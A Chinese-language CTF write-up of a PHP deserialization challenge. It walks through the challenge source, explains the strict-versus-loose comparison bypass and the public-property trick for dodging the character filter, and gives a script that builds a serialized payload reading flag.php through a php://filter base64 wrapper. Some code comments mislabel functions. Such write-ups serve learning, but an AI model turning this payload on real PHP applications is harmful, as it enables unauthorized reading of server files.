前言
一周一更,这是第二周啦,还是一道PHP审计题。学了蛮久了,终于算是懂了一点了。话不多说,直接开始。
正文部分
进入题目,直接上源码
<?php
include("flag.php");
highlight_file(__FILE__);//文件包含,可以联想到php://filter伪协议读取文件
class FileHandler {
protected $op;//protected保护类,成员可以被自身及其子类和父类访问
protected $filename;
protected $content;
function __construct() { //析构函数
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();//弱比较,如果是op=2,运行read函数,并将运行后的结果赋值res,然后将$res放到output函数种
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {//private私有类只能自身访问,无法从外部类访问
if(isset($this->filename) && isset($this->content)) if(strlen((string)$this->content) > 100) {//判断content的长度是否大于100
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);//file_put_contents将一个字符串写入文件
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {//析构函数,该函会在类的一个对象被删除时自动调用
if($this->op === "2")//强比较必需相等
$this->op = "1";//将1赋值给op
$this->content = "";//将content至空
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//ord返回()内字符对应的Unicode数值,若s字符数组种有字符的编码不在32-125则报错
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看完代码后,有一个简单的思路:构造一个payload取执行rend()函数,读取flag.php的内容
开始分析:
GET方式传入序列化的str字符串,str字符串中每个字符的ASCII范围在32-125之间,然后对其反序列化
在反序列化的过程中,调用_destruct析构方法
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
如果op==="2",将其赋为"1",同时content赋为空,进入process函数,需要注意的地方是,这op与"2"比较的时候是强类型比较
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
进入process函数后,如果op=="1",则进入write函数,若op=="2",则进入read函数,否则输出报错,可以看出来op与字符串的比较类型变成了弱比较==。
所以我们只要令op=2,这里的2是整数int。当op=2时,op==="2"为false,op=="2"为true,接着进入read函数
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们使用php://filter伪协议读取文件,获取到文件后使用output函数输出
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
总结 :
在反序列化的时候,调用_destruct方法,op==="2"且content为空。然后进入process函数,此时令op=2,再进入read函数,利用file_get_contents函数读取文件,(借助php://filter为协议),获取文件后使用output函数输出
思路清晰,开始反序列化:
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = 2;
}
$a = new FileHandler();
echo serialize($a);
?>
反序列化中的两个绕过:
1.
is_valia(): 要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法: 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
2.
destruct()魔术方法:
op==="2",是强比较,而在process()函数中,op=="2"是弱比较
绕过方法:可以使传入的op是数字2,从而使第一个强比较返回false, 而使第二个弱比较返回true.
最后我们传入参数,将得到的结果进行base64解密,得到flag
总结:
感觉好难学啊!哎,慢慢来吧,会熬出头的